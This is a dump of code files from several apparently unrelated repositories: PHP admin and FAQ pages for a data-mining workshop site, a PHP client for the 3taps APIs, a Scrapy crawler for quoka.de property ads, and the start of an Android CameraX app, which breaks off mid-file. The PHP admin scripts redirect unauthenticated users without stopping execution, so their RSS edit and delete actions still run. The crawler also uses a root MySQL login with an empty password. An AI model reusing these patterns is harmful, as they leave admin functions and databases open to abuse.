onfocus="if(this.value==this.defaultValue)this.value=''; this.style.color='black';" onblur="if(this.value=='')this.value=this.defaultValue; " style="color:#999;" /> <input value="Go" id="searchsubmit" type="submit" /> <input type="hidden" name="sitesearch" value="dataminingshop.com" /> </form> </div> </nav> </header> <file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); include("../includes/constants.php"); $cur_time = time(); if($_SESSION["loggedAs"] == "") { header("Location: ../login.php"); } if($_SESSION["adminType"] != "Super" && $_SESSION["adminType"] != "Regular") { header("Location: ../index.php"); } if($_SESSION["loggedAs"] != "" && $cur_time > $_SESSION["timeout"]) { //destroy the session (reset) session_destroy(); header("Location: login.php"); } else { //set new time $_SESSION["last_page"] = ""; $_SESSION["timeout"] = time() + $TIME_OUT; } $isValid = true; $id = $_POST["rss-edit"]; $title = $_POST["e-title"]; $desc = $_POST["e-desc"]; $link = $_POST["e-link"]; $author = $_SESSION["email"]; $doc = new DOMDocument(); // creates new document object model $doc->load("../rss/news.rss"); // loads the xml file into the document $xpath = new DOMXpath($doc); // loads the document into the xpath $root = $xpath->query("channel"); // sets the root to the document element $idList = $xpath->query("channel/item"); $idNumber = array(); $counter = 0; if($title == "") { $isValid = false; $error .= "Enter a valid Title.<br />"; } if($desc == "") { $isValid = false; $error .= "Enter a valid Description.<br />"; } if($link == "") { $isValid = false; $error .= "Enter a valid Link.<br />"; } if($isValid && $id != "") { foreach($idList as $item) { if($item->getElementsByTagName("guid")->item(0)->nodeValue == $id) { $editNode = $item; } } $today = getdate(); // get today's date $pub_date = $today[mon]."-".$today[mday]."-".$today[year]; // add a zero to the month and day of the month $editNode->getElementsByTagName("title")->item(0)->nodeValue = $title; $editNode->getElementsByTagName("description")->item(0)->nodeValue = $desc; $editNode->getElementsByTagName("link")->item(0)->nodeValue = $link; $editNode->getElementsByTagName("author")->item(0)->nodeValue = $author; $editNode->getElementsByTagName("pubDate")->item(0)->nodeValue = $pub_date; $doc->save("../rss/news.rss"); include("../includes/cleanUp.php"); $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#0c0;font-weight:bolder;border:3px solid #090;border-radius:10px;padding:5px;\">RSS Message Edited Successfully!</p>"; header("Location: ../admin.php"); } else { $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#c00;font-weight:bolder;border:3px solid #900;border-radius:10px;padding:5px;\">".$error."</p>"; header("Location: ../admin.php"); } ?><file_sep><h1> FAQ</h1> <p> &nbsp;</p> <ol> <li> <a href=\"#faq1\">Who else attends BPDM besides students and postdocs?</a></li> <li> <a href=\"#faq2\">What will applicant scholarships cover?</a></li> <li> <a href=\"#faq3\">When will applicants be notified?</a></li> <li> <a href=\"#faq4\">What groups are considered &ldquo;underrepresented&rdquo;?</a></li> <li> <a href=\"#faq5\">What are the objectives and structure of BPDM?</a></li> <li> <a href=\"#faq6\">Where can I find more information from previous years?</a></li> <li> <a href=\"#faq7\">Who funds BPDM?</a></li> <li> <a href=\"#faq8\">Who else attends BPDM besides students and postdocs?</a></li> </ol> <p> &nbsp;</p> <p> <a name=\"faq1\"></a> <strong>1. Who is eligible to apply for a scholarship?</strong></p> <p style=\"padding-left: 16px;\"> Scholarship applications are open to students and postdocs, including:</p> <ul> <li> Undergraduate and Graduate students</li> <li> Part-time and Full-time</li> <li> U.S. Nationals and International students</li> </ul> <p> &nbsp;</p> <p> <a name=\"faq2\"></a> <strong>2. What will applicant scholarships cover?</strong></p> <p style=\"padding-left: 16px;\"> Applicant scholarships will cover flight, accommodations, food, and conference registration. However, due to budgetary constraints, applicants residing outside of the U.S. may have to supplement some of their flight cost from other funds.</p> <p style=\"padding-left: 16px;\"> &nbsp;</p> <p> <a name=\"faq3\"></a> <strong>3. When will applicants be notified?</strong></p> <p style=\"padding-left: 16px;\"> Applicants for the 2013 program have until May <strike>5th </strike>12th to apply and should receive a response by June <strike>3rd </strike>10th.</p> <p style=\"padding-left: 16px;\"> &nbsp;</p> <p> <a name=\"faq4\"></a> <strong>4. What groups are considered &ldquo;underrepresented&rdquo;?</strong></p> <p style=\"padding-left: 16px;\"> According to the U.S. National Science Foundation, underrepresented students in STEM (Science, Technology, Engineering, Mathematics) include women, minorities (i.e., African-American, Hispanic/Latino, and Native American/Alaska Native), and persons with disabilities.</p> <p style=\"padding-left: 16px;\"> &nbsp;</p> <p> <a name=\"faq5\"></a> <strong>5. What are the objectives and structure of BPDM?</strong></p> <p style=\"padding-left: 16px;\"> The main objective of BPDM is to mentor, guide, and advance applicants from underrepresented groups to become successful researchers in Data Mining, by providing career mentoring advice and discipline-specific overviews of past accomplishments and future research directions in the field. Specifically, the program will primarily focus on helping young researchers at the graduate and post-graduate level become knowledgeable and connected in research and research paradigms of Data Mining. This program is the first of its kind in Data Mining aimed directly at fostering mentorship, guidance, and aptitude of underrepresented groups.</p> <p style=\"text-align: justify; padding-left: 16px;\"> The structure of the program is geared to provide students with opportunities to learn, share, and connect.</p> <ol> <li> Learn - students will attend various panels and featured talks which will address common issues and advancements in Data Mining.</li> <li> Share and Connect - various networking breaks and sessions will allow students to connect with mentors and peers, share their research, and expand their personal network.</li> </ol> <p style=\"text-align: justify; padding-left: 16px;\"> In order to provide students with relevant and appropriate material, the organizers have targeted respected and leading members of the community who have mentoring experience and who also come from underrepresented groups.</p> <p style=\"text-align: justify; padding-left: 16px;\"> &nbsp;</p> <p> <a name=\"faq6\"></a> <strong>6. Where can I find more information from previous years?</strong></p> <p style=\"padding-left: 16px;\"> BPDM started in 2012, co-hosted with the SIAM International Conference on Data Mining (SDM12). Links for previous years are listed below:</p> <ul> <li> <a href=\"http://www.dataminingshop.com/2012\">BPDM 2012 - Anaheim, CA - U.S</a></li> </ul> <p> &nbsp;</p> <p> <a name=\"faq7\"></a> <strong>7. Who funds BPDM?</strong></p> <p style=\"padding-left: 16px;\"> We are lucky to have a number of partners, public and private, who kindly provide funding for BPDM. They are listed below:</p> <ul> <li> U.S. National Science Foundation</li> <li> Robert Bosch LLC</li> <li> Coalition to Diversify Computing</li> <li> Committee on the Status of Women in Computing Research</li> </ul> <p> &nbsp;</p> <p> <a name=\"faq8\"></a> <strong>8. Who else attends BPDM besides students and postdocs?</strong></p> <p style=\"padding-left: 16px;\"> A number of senior researchers, academics, directors, and managers kindly donate their time, experience, and expertise to help broaden the participation in Data Mining through our program. These individuals come from National Labs, Academia, Industry, and Government, and are often funded from their own budget.</p> <p> <br /> <br /> <strong>Have more questions? Feel free to email us at <a href=\"mailto:<EMAIL>\"><EMAIL></a></strong>.</p> <file_sep><nav id="footer-nav"> <div class="menu"> <?php if($_SESSION["loggedAs"] != "" && $_SESSION["adminType"] != ""){?><a href="admin.php"><p>Admin</p></a><?php }?> <?php if($_SESSION["loggedAs"] != "" && $_SESSION["adminType"] == "Super"){?><a href="organizer.php"><p>Organizer</p></a><?php }?> <?php if($_SESSION["loggedAs"] != "" && $_SESSION["userType"] == "Reviewer"){?><a href="review.php"><p>Applicant Review</p></a><?php }?> <a href="index.php"><p>Home</p></a> <a href="agenda.php"><p>Agenda</p></a> <a href="<?php if($_SESSION["loggedAs"] != "" && $_SESSION["userType"] == "Applicant"){echo("application.php");}else{echo("applicantLogin.php");}?>"><p>Apply</p></a> <a href="faq.php"><p>FAQ</p></a> <a href="links.php"><p>Links</p></a> <a href="news.php"><p>News</p></a> <a href="contact.php"><p>Contact</p></a> </div> </nav> <file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); include("../includes/constants.php"); $cur_time = time(); if($_SESSION["loggedAs"] == "") { header("Location: ../login.php"); } if($_SESSION["adminType"] != "Super" && $_SESSION["adminType"] != "Regular") { header("Location: ../index.php"); } if($_SESSION["loggedAs"] != "" && $cur_time > $_SESSION["timeout"]) { //destroy the session (reset) session_destroy(); header("Location: login.php"); } else { //set new time $_SESSION["last_page"] = ""; $_SESSION["timeout"] = time() + $TIME_OUT; } $id = $_POST["rss-delete"]; if($id == "") { header("Location: ../admin.php"); } $doc = new DOMDocument(); // creates new document object model $doc->load("../rss/news.rss"); // loads the xml file into the document $xpath = new DOMXpath($doc); // loads the document into the xpath $root = $xpath->query("channel"); // sets the root to the document element $idList = $xpath->query("channel/item"); foreach($idList as $item) { if($item->getElementsByTagName("guid")->item(0)->nodeValue == $id) { $deleteNode = $item; } } $root->item(0)->removeChild($deleteNode); $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#0c0;font-weight:bolder;border:3px solid #090;border-radius:10px;padding:5px;\">RSS Message Deleted Successfully!</p>"; $doc->save("../rss/news.rss"); include("../includes/cleanUp.php"); header("Location: ../admin.php"); ?><file_sep><?php $TIME_OUT = 420; ?>
3fd58c4b2a4b0f3ff2dc9411683329a1167f2c68
[ "JavaScript", "Markdown", "HTML", "PHP" ]
34
PHP
egg1/Dataminer
80456a73251fd97f600731debaca08becc2d3f60
fa763c60ba67f9fa374d7cfb6d77ecd91603f1e6
refs/heads/master
<file_sep><?php namespace Rbaker\ThreeTaps\Polling\Iterator; use Guzzle\Service\Resource\ResourceIterator; class PollIterator extends ResourceIterator { /** * @var int total number or search matches */ protected $numMatches; protected function sendRequest() { // If a next token is set, then add it to the command if ($this->nextToken) { $this->command->set('anchor', $this->nextToken); } // Execute the command and parse the result $result = $this->command->execute(); // Parse the next token $this->nextToken = isset($result['anchor']) ? $result['anchor'] : false; return isset($result['postings']) ? $result['postings'] : array(); } public function getAnchor() { return $this->nextToken; } } <file_sep><?php namespace Rbaker\ThreeTaps; use Guzzle\Service\Builder\ServiceBuilder; use Guzzle\Common\Collection; /** * 3taps Client Service Builder Class * * @author Rbaker */ class ThreeTapsService { public static function factory($config = null) { $default = array( 'auth_token' => null, 'scheme' => 'http', 'base_url' => '{scheme}://{service}.3taps.com' ); $required = array('auth_token'); $config = Collection::fromConfig($config, $default, $required); $services = array( 'services' => array( 'abstract_service' => array( 'params' => array( 'auth_token' => $config->get('auth_token'), 'base_url' => $config->get('base_url'), 'scheme' => $config->get('scheme') ) ), 'reference' => array( 'extends' => 'abstract_service', 'class' => 'Rbaker\ThreeTaps\Reference\ReferenceClient', 'params' => array( 'service' => 'reference' ) ), 'search' => array( 'extends' => 'abstract_service', 'class' => 'Rbaker\ThreeTaps\Search\SearchClient', 'params' => array( 'service' => 'search' ) ), 'polling' => array( 'extends' => 'abstract_service', 'class' => 'Rbaker\ThreeTaps\Polling\PollingClient', 'params' => array( 'service' => 'polling' ) ) ) ); return ServiceBuilder::factory($services); } } <file_sep><?php namespace Rbaker\ThreeTaps\Tests; use Guzzle\Tests\GuzzleTestCase; class ReferenceClientTest extends GuzzleTestCase { protected function setUp() { $this->client = $this->getServiceBuilder()->get('reference'); } public function testReferenceClientInstance() { $this->assertInstanceOf('Rbaker\ThreeTaps\Reference\ReferenceClient', $this->client); } public function testSourcesRequest() { $response = $this->client->getCommand('GetSources')->getResponse(); $this->assertTrue($response->isSuccessful()); } public function testCategoryGroupsRequest() { $response = $this->client->getCommand('GetCategoryGroups')->getResponse(); $this->assertTrue($response->isSuccessful()); } public function testLocationsRequest() { $response = $this->client->getCommand('GetLocations', array( 'level' => 'country' ))->getResponse(); $this->assertTrue($response->isSuccessful()); } public function testLocationLookupRequest() { $response = $this->client->getCommand('LocationLookup', array( 'code' => 'USA-AL' ))->getResponse(); $this->assertTrue($response->isSuccessful()); } }<file_sep><?php namespace Rbaker\ThreeTaps\Tests; use Guzzle\Tests\GuzzleTestCase; class SearchClientTest extends GuzzleTestCase { protected function setUp() { $this->client = $this->getServiceBuilder()->get('search'); } public function testSearchClientInstance() { $this->assertInstanceOf('Rbaker\ThreeTaps\Search\SearchClient', $this->client); } public function testSearchResultIteratorInstance() { $iterator = $this->client->getIterator('search', array( 'category_group' => 'JJJJ' )); $this->assertInstanceOf('Rbaker\ThreeTaps\Search\Iterator\SearchIterator', $iterator); return $iterator; } }<file_sep>3taps-php-client ================ A PHP 5.3+ client for working with the [3taps](https://3taps.com) APIs. [![Build Status](https://travis-ci.org/rjbaker/3taps-php-client.png?branch=master)](https://travis-ci.org/r-baker/3taps-php-client) ## Features * Built on top of the awesome [Guzzle](http://guzzlephp.org) HTTP client framework. * Provides separate clients for the Reference, Search and Polling APIs. * Result iterators to automatically handle result pagination, tokens, tiers and anchors. * Include in your project using [Composer](https://packagist.org/packages/r-baker/3taps-client) or download the [zip](https://github.com/r-baker/3taps-php-client/archive/master.zip). * Tested with PHP 5.3, 5.4 & 5.5 ## Usage ### Install using Composer ``` composer.phar require r-baker/3taps-php-client ``` ### Create a service instance ```php use Rbaker\ThreeTaps\ThreeTapsService; $service = ThreeTapsService::factory(array( 'auth_token' => '<PASSWORD>' )); ``` ### Create an API client instance (e.g. reference api) ```php $referenceClient = $service->get('reference'); ``` ### Initiate an API request ```php $categories = $referenceClient->getCategories(); ``` ## API Service Clients All methods and parameters from each of the three APIs (as defined in the [3taps API docs](http://docs.3taps.com/)) are supported. To use an API client, as in the example above, you must instantiate a relevant client instance from the service instance. API methods may then be called on the client instance. If desired, an array of parameters may be passed into the second argument of an API method call. The PHP client will ensure all **required** parameters are provided, but be sure to consult the API documentation for all optional params. ### Reference The Reference API client supports the following methods: 3Taps Method Name | PHP Client Method Name --- | --- sources | `$referenceClient->getSources()` category_groups | `$referenceClient->getCategoryGroups()` categories | `$referenceClient->getCategories()` locations | `$referenceClient->getLocations()` location lookups | `$referenceClient->locationLookup()` #### Example: ```php $referenceClient = $service->get('reference'); $data = $referenceClient->locationLookup(array( 'code'=>'USA-AL' )); ``` ### Search The Search API client supports the follwing methods: 3Taps Method Name | PHP Client Method Name --- | --- search | `$searchClient->search()` count mode | `$searchClient->count()` #### Example: ```php $searchClient = $service->get('search'); $iterator = $searchClient->getIterator('search', array( 'category_group' => 'JJJJ' )); $iterator->setLimit(30); // Total number of (unlimited) results matching our request echo $iterator->getNumMatches(); // grab results print_r($iterator->toArray()); ``` ### Polling The Polling API client supports the follwing methods: 3Taps Method Name | PHP Client Method Name --- | --- anchor | `$pollingClient->getAnchor()` poll | `$pollingClient->poll()` Please see the complete example below. ### Result Iterators Result iterators automatically implement much of the logic required for working with pages of results. In the case of the 3taps Search and Polling APIs, the **page**, **anchor** and **tier** parameters are taken care of and automatically parameterized for subsequent requests. This allows you to simply set the number of results you need, and the iterator will attempt (if required) to make as many API calls as needed return your result set. ## A complete example Retrieve an anchor from the polling API and poll for all job-related postings in NYC, placed in the last 3 hours. ```php <?php require 'vendor/autoload.php'; use Rbaker\ThreeTaps\ThreeTapsService; // create service instance $service = ThreeTapsService::factory(array( 'auth_token' => '<PASSWORD>' )); $pollingClient = $service->get('polling'); // retrieve anchor $anchor = $pollingClient->getAnchor(array( 'timestamp' => strtotime('-3 hours') )); // retrieve results $iterator = $pollingClient->getIterator('poll', array( 'category_group' => 'JJJJ', 'location.city' => 'USA-NYM-NEY', 'anchor' => $anchor['anchor'] )); // iterate! foreach($iterator as $result) { print_r($result); } // grab the anchor to use for the next poll request $nextAnchor = $iterator->getAnchor(); ``` ## Testing The project includes a basic PHPUnit test suite for each API client. 1. Install PHPUnit `php composer.phar install --dev` 2. Be sure to add your own `auth_token` to your phpunit.xml configuration 3. Run the test suite `./vendor/bin/phpunit` <file_sep><?php namespace Rbaker\ThreeTaps\Search\Iterator; use Guzzle\Service\Resource\ResourceIterator; class SearchIterator extends ResourceIterator { /** * @var string search result anchor */ protected $anchor; /** * @var int search result tier */ protected $nextTier; /** * @var int total number or search matches */ protected $numMatches; protected function sendRequest() { // If a next token is set, then add it to the command if ($this->nextToken) { $this->command->set('page', $this->nextToken); $this->command->set('anchor', $this->anchor); $this->command->set('tier', $this->nextTier); } // Execute the command and parse the result $result = $this->command->execute(); // Parse the next token $this->nextToken = isset($result['next_page']) ? $result['next_page'] : false; if(isset($result['anchor'])) $this->anchor = $result['anchor']; if(isset($result['next_tier'])) $this->nextTier = $result['next_tier']; if(isset($result['num_matches'])) $this->numMatches = $result['num_matches']; return $result['postings']; } /** * @return string */ public function getAnchor() { return $this->anchor; } /** * @return int */ public function getNextTier() { return (int)$this->nextTier; } /** * @return int */ public function getNumMatches() { return (int)$this->numMatches; } } <file_sep><?php namespace Rbaker\ThreeTaps\Reference; use Guzzle\Service\Client; use Guzzle\Service\Description\ServiceDescription; use Guzzle\Common\Collection; class ReferenceClient extends Client { public static function factory($config = array()) { $default = array('base_url' => ''); $required = array('base_url','scheme','auth_token','service'); $config = Collection::fromConfig($config, $default, $required); $client = new self($config->get('base_url'), $config); $description = ServiceDescription::factory(__DIR__ . '/Resources/reference.json'); $client->setDescription($description); $client->setDefaultOption('query', array( 'auth_token' => $config->get('auth_token') )); return $client; } }<file_sep><?php namespace Rbaker\ThreeTaps\Tests; use Guzzle\Tests\GuzzleTestCase; class PollingClientTest extends GuzzleTestCase { protected function setUp() { $this->client = $this->getServiceBuilder()->get('polling'); } public function testPollingClientInstance() { $this->assertInstanceOf('Rbaker\ThreeTaps\Polling\PollingClient', $this->client); } public function testAnchorRequest() { $response = $this->client->getCommand('getAnchor', array( 'timestamp' => strtotime('-4 hours') ))->getResponse(); $this->assertTrue($response->isSuccessful()); $result = $response->json(); return $result['anchor']; } /** * @depends testAnchorRequest */ public function testPollIteratorInstance($anchor) { $iterator = $this->client->getIterator('poll', array( 'category_group' => 'JJJJ', 'anchor' => $anchor )); $this->assertInstanceOf('Rbaker\ThreeTaps\Polling\Iterator\PollIterator', $iterator); return $iterator; } /** * @depends testPollIteratorInstance */ public function testPollIteratorResult($iterator) { $iterator->setLimit(10); $this->assertCount(10, $iterator->toArray()); } }<file_sep><?php error_reporting(E_ALL | E_STRICT); require __DIR__.'/../vendor/autoload.php'; if (!$_ENV['auth_token']) { die("Unable to read servce auth_token '{$_ENV['auth_token']}'\n"); } $token = getenv('CI_AUTH_TOKEN') ? getenv('CI_AUTH_TOKEN') : getenv('auth_token'); // Instantiate the service builder $service = Rbaker\ThreeTaps\ThreeTapsService::factory(array( 'auth_token' => $token )); Guzzle\Tests\GuzzleTestCase::setServiceBuilder($service);
f4b7642834429f7dfa228dfe16162d255276ea5c
[ "Markdown", "PHP" ]
9
PHP
r-baker/3taps-php-client
4ef9861a3dc68057b23bcd837cadd78b71d9b377
e9e24fa89ae3e72708732b71c49da436f9f8b205
refs/heads/master
<file_sep># -*- coding: utf-8 -*- import MySQLdb as mdb import sys def get_connection(database=''): try: con = mdb.connect( "localhost", "root", "", database ) except mdb.Error, e: print "Error %d: %s" % (e.args[0], e.args[1]) sys.exit(1) return con def get_cursor(database=''): con = get_connection(database) return con.cursor() def create_database(): print "create database crawl" cursor = get_cursor() query = """ CREATE DATABASE IF NOT EXISTS crawl CHARACTER SET utf8 COLLATE utf8_general_ci; """ cursor.execute(query) def create_table(): print "create table quoka" cursor = get_cursor("crawl") query = """ CREATE TABLE IF NOT EXISTS quoka ( id INT AUTO_INCREMENT NOT NULL, Boersen_ID INT DEFAULT 21, OBID INT, erzeugt_am DATE, Anbieter_ID VARCHAR(80), Anbieter_ObjektID VARCHAR(100) DEFAULT NULL, Immobilientyp VARCHAR(100), Immobilientyp_detail VARCHAR(200) DEFAULT NULL, Vermarktungstyp VARCHAR(50) DEFAULT 'kaufen', Land VARCHAR(30) DEFAULT 'Deutschland', Bundesland VARCHAR(50) DEFAULT NULL, Bezirk VARCHAR(150) DEFAULT NULL, Stadt VARCHAR(150), PLZ VARCHAR(10), Strasse VARCHAR(100) DEFAULT NULL, Hausnummer VARCHAR(40) DEFAULT NULL, Überschrift VARCHAR(500), Beschreibung VARCHAR(15000), Kaufpreis INT, Kaltmiete INT DEFAULT NULL, Warmmiete INT DEFAULT NULL, Nebenkosten INT DEFAULT NULL, Zimmeranzahl INT DEFAULT NULL, Wohnflaeche INT DEFAULT NULL, Monat INT, url VARCHAR(1000), Telefon VARCHAR(1000), Erstellungsdatum DATE, Gewerblich INT, PRIMARY KEY (id) ); """ cursor.execute(query) def create_table_stats(): print "create table stats" cursor = get_cursor("crawl") query = """ CREATE TABLE IF NOT EXISTS stats ( id INT AUTO_INCREMENT NOT NULL, commercial INT, city_category VARCHAR(120), PRIMARY KEY (id) ); """ cursor.execute(query) def drop_database(): print "drop database crawl" cursor = get_cursor() query = """ DROP DATABASE crawl """ cursor.execute(query) def prepare_database(): drop_database() create_database() create_table() create_table_stats() if __name__ == "__main__": create_database() create_table() create_table_stats() <file_sep> import scrapy from scrapy.crawler import CrawlerProcess from scrapy.utils.project import get_project_settings from quoka.spiders.properties import PropertiesSpider from quoka.storage import prepare_database # before running the script # export PYTHONPATH=$PWD # setup db prepare_database() process = CrawlerProcess(get_project_settings()) process.crawl(PropertiesSpider) process.start() <file_sep># -*- coding: utf-8 -*- # Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html import MySQLdb as mdb from quoka.storage import get_connection class StatsPipeline(object): def __init__(self): self.con = get_connection("crawl") self.cur = self.con.cursor() def process_item(self, item, spider): params = ( item.get("commercial"), item.get("city_category") ) try: self.cur.execute( """ INSERT INTO stats ( commercial, city_category ) VALUES ( %s, %s ) """, params ) self.con.commit() except mdb.Error, e: print "Error %d: %s" % (e.args[0], e.args[1]) return item class MySQLStoragePipeline(object): def __init__(self): self.con = get_connection("crawl") self.cur = self.con.cursor() def process_item(self, item, spider): params = ( item.get("header"), item.get("description"), item.get("price"), item.get("postal_code"), item.get("city"), item.get("obid"), item.get("ad_created"), item.get("phone"), item.get("created"), item.get("url"), item.get("commercial"), item.get("advertiser_id"), item.get("property_type") ) try: self.cur.execute( """ INSERT INTO quoka ( Überschrift, Beschreibung, Kaufpreis, PLZ, Stadt, OBID, Erstellungsdatum, Telefon, erzeugt_am, url, Gewerblich, Anbieter_Id, Immobilientyp ) VALUES ( %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s ) """, params ) self.con.commit() except mdb.Error, e: print "Error %d: %s" % (e.args[0], e.args[1]) return item <file_sep> import json import re import scrapy from quoka.spiders.properties import POST_DATA class TotalSpider(scrapy.Spider): name = "total" allowed_domains = ["quoka.de"] start_urls = [ "http://www.quoka.de/immobilien/bueros-gewerbeflaechen/" ] def parse(self, response): POST_DATA["comm"] = "all" body = json.dumps(POST_DATA) url = self.start_urls[0] yield scrapy.Request(url, self.parse_total, method="POST", body=body, dont_filter=True) def parse_total(self, response): for total_str in response.css('ul #NAVI_CAT_27 > li > span::text').extract(): total = int(re.sub(r"\D", "", total_str)) print total yield {'total': total} <file_sep># -*- coding: utf-8 -*- from collections import defaultdict from datetime import date import json import re import scrapy from quoka.items import PropertyItem, PropertyLoader def add_scheme_host(string): return "http://www.quoka.de%s" % string def get_nof_pages(response): """get the numbers of pages in pagination in the context of city""" selector = response.css("div .Column > ul > li > a > strong:nth-child(2)::text").extract() try: result = int(selector[0]) except (IndexError, ValueError): result = 0 return result def get_url_format(response): """get url pattern for pages from 2 to n result example: http://www.quoka.de/kleinanzeigen/cat_27_2710_ct_111756_page_%d.html """ selector = response.css("div .Column > ul > li:nth-child(5) > a::attr(\"href\")").extract() part = re.sub(r"_\d+.html", "_%d.html", selector[0]) assert "%d" in part return add_scheme_host(part) # probably not all parameters necessary POST_DATA = { "catid": "27_2710", "cityid": "0", "classtype": "of", # -> "nur Angebote" "comm": "all", "detailgeosearch": "true", "dispads": "20", "mask": "default", "mode": "search", "notepageno": "1", "pageno": "1", "pndu": "/kleinanzeigen/cat_27_2710_ct_0_page_2.html", "pnno": "1", "pntp": "277", "pnur": "/immobilien/bueros-gewerbeflaechen/", "pnuu": "/immobilien/bueros-gewerbeflaechen/", "pricelow": "von", "pricetop": "bis", "radius": "25", "result": "small", "searchbool": "and", "searchbutton": "true", "showallresults": "true", # before was 'false' "showmorecatlink": "true", "sorting": "adsort", "suburbid": "0", "tlc": "2" } class PropertiesSpider(scrapy.Spider): name = "properties" allowed_domains = ["quoka.de"] start_urls = [ "http://www.quoka.de/immobilien/bueros-gewerbeflaechen/" ] def __init__(self): #self.stats = defaultdict(int) # stats super(PropertiesSpider, self).__init__() def parse(self, response): """set filters in post data post parameter classtype is in ["all", "of", "wa"], which correspond to "Keine Einschränkung", "nur Angebote" und "nur Gesuche" post parameter comm is in ["all", 0, 1], which correspond to "Keine Einschränkung", "nur Private", "nur Gewerbliche" """ meta = { "property_type": "Büros, Gewerbeflächen" } for commercial in [0, 1]: POST_DATA["comm"] = commercial body = json.dumps(POST_DATA) meta["commercial"] = commercial url = self.start_urls[0] yield scrapy.Request( url, self.parse_cities, meta=meta, method="POST", body=body, dont_filter=True) def parse_cities(self, response): """crawl cities""" pattern_city_href = r".*gewerbeflaechen/\w+/cat_27_2710_ct_\d+.html" #pattern_city_href = r".*gewerbeflaechen/koeln/cat_27_2710_ct_\d+.html" for url in response.css("div .cnt ul li ul li a::attr(\"href\")").re(pattern_city_href): # [:1]: pattern = r".*gewerbeflaechen/(\w+)/cat_27_2710_ct_\d+.html" city_category = re.match(pattern, url).group(1) # for stats response.meta["city_category"] = city_category yield scrapy.Request( response.urljoin(url), self.parse_pages, meta=response.meta, dont_filter=True) def parse_pages(self, response): """crawl pages for a city url pattern from first page differs from url pattern of the following pages. Example: first page: http://www.quoka.de/immobilien/bueros-gewerbeflaechen/berlin/cat_27_2710_ct_111756.html second page: http://www.quoka.de/kleinanzeigen/cat_27_2710_ct_111756_page_2.html """ # first page page_generator = self.parse_page(response) if page_generator: for item in page_generator: #print item yield item # next pages # calculate nof_pages because not all page links are in the html # This is necessary if there are more than 9 pages nof_pages = get_nof_pages(response) if nof_pages > 1: url_format = get_url_format(response) for page_nr in range(2, nof_pages + 1): url = url_format % page_nr yield scrapy.Request(url, self.parse_page, meta=response.meta, dont_filter=True) def parse_page(self, response): """crawl properties on a page""" # handle "Partner-Anzeigen" # need to identify correct css/xpath #print len(response.xpath("//div[text() = 'Partner-Anzeige']")) #print len(response.css("div #ResultListData > ul.alist > li[data-ssp]")) #from scrapy.shell import inspect_response #inspect_response(response, self) for box in response.css("div #ResultListData > ul > li[data-ssp]"): loader = PropertyLoader(item=PropertyItem(), response=response) #loader.add_css("header", box.css("h3::text")) loader.add_value("advertiser_id", "Immobilienscout24") loader.add_value("commercial", response.meta.get("commercial")) loader.add_value("property_type", response.meta.get("property_type")) loader.add_value("city_category", response.meta.get("city_category")) # stats item = loader.load_item() yield item # handle non-"Partner-Anzeigen" for sel in response.css("div #ResultListData > ul > li.hlisting > div.n2 > a::attr(\"href\")"): url = add_scheme_host(sel.extract()) yield scrapy.Request(url, self.parse_property, meta=response.meta) def parse_property(self, response): loader = PropertyLoader(item=PropertyItem(), response=response) loader.add_css("header", "div.headline > h2::text") loader.add_css("description", "div.text::text") loader.add_css("price", "div.price strong span::text") loader.add_css("postal_code", "div.location span.address span.postal-code::text") loader.add_css("city", "div.location span.address span.locality::text") loader.add_css("obid", "div.date-and-clicks > strong:nth-child(1)") loader.add_css("ad_created", "div.date-and-clicks::text") loader.add_css("phone", "ul.contacts > li > span:nth-child(2)::text") loader.add_value("created", date.today()) loader.add_value("url", response.url) loader.add_value("commercial", response.meta.get("commercial")) loader.add_value("property_type", response.meta.get("property_type")) loader.add_value("city_category", response.meta.get("city_category")) # stats item = loader.load_item() return item <file_sep># -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # http://doc.scrapy.org/en/latest/topics/items.html from datetime import datetime import re import scrapy from scrapy.loader import ItemLoader from scrapy.loader.processors import MapCompose, TakeFirst class PropertyLoader(ItemLoader): default_output_processor = TakeFirst() def trim(string): result = string.strip() if result: return result return None def only_digits(string): result = re.sub(r"\D", "", string) return result def parse_date(string): string = string.strip() try: date_object = datetime.strptime(string, '%d.%m.%Y') return date_object #return datetime.strftime(date_object, "%Y-%m-%d") except ValueError: return None class PropertyItem(scrapy.Item): # define the fields for your item here like: # name = scrapy.Field() header = scrapy.Field() description = scrapy.Field() price = scrapy.Field(input_processor=MapCompose(only_digits)) postal_code = scrapy.Field() city = scrapy.Field() obid = scrapy.Field() ad_created = scrapy.Field(input_processor=MapCompose(trim, parse_date)) phone = scrapy.Field() created = scrapy.Field() url = scrapy.Field() commercial = scrapy.Field() advertiser_id = scrapy.Field() property_type = scrapy.Field() city_category = scrapy.Field()
9952859dfa7a40bd0f8abddd4e6d9bec948604ed
[ "Python" ]
6
Python
zartstrom/crawl
b8fc33a2eb565cc03b5b758be3be343da5e905fd
81e3c4840b250ecfed7d48682737385ff674d57c
refs/heads/master
<repo_name>tdnhan112569/cameraX-android<file_sep>/app/src/main/java/com/dragon/camerax_codelab/ImageActivity.kt package com.dragon.camerax_codelab import android.graphics.BitmapFactory import android.os.Bundle import androidx.appcompat.app.AppCompatActivity import kotlinx.android.synthetic.main.activity_image.* import java.io.File class ImageActivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_image) val extras = intent.getExtras(); val string = extras?.get("url").toString() ?: "" if(string.isNotEmpty()) { val imgFile = File(string) if(imgFile.exists()) { val myBitmap = BitmapFactory.decodeFile(imgFile.absolutePath); cropImageView.setImageBitmap(myBitmap) } } } } <file_sep>/app/src/main/java/com/dragon/camerax_codelab/MainActivity.kt package com.dragon.camerax_codelab import android.Manifest import android.content.Intent import android.content.pm.PackageManager import android.hardware.SensorManager import android.media.Image import android.net.Uri import android.os.Bundle import android.util.DisplayMetrics import android.util.Log import android.util.Size import android.view.* import android.widget.ImageButton 